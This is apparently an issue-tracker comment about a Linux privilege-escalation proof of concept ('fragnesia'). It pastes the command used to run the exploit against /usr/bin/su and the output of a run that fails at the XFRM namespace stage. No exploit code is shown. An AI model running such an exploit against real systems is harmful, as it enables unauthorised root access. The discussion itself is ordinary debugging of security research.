Comment on: exploit doesn´t work with ipv6.disable=1

I don´t think they are necessary but anyway, it gives the same result: ``` user@f44:~/workspace/pocs/fragnesia$ ls -l /tmp/ total 0 -rw-r--r--. 1 root root 0 14 mei 17:48 frag ``` ``` user@f44:~/workspace/pocs/fragnesia$ ./exp /tmp/frag 0 42434445 [*] uid=1000 euid=1000 gid=1000 egid=1000 [*] mode=xfrm_espintcp_pagecache_replace collateral=after [*] target=/usr/bin/su size=57184 outer_write_open_denied=1 errno=13 (Permission denied) userns_setup: outer_uid=1000 outer_gid=1000 ns_uid=0 ns_gid=0 netns_setup=1 loopback_up=1 namespace_gate_failed: XFRM_MSG_NEWSA ack errno=93 (Protocol not supported) ```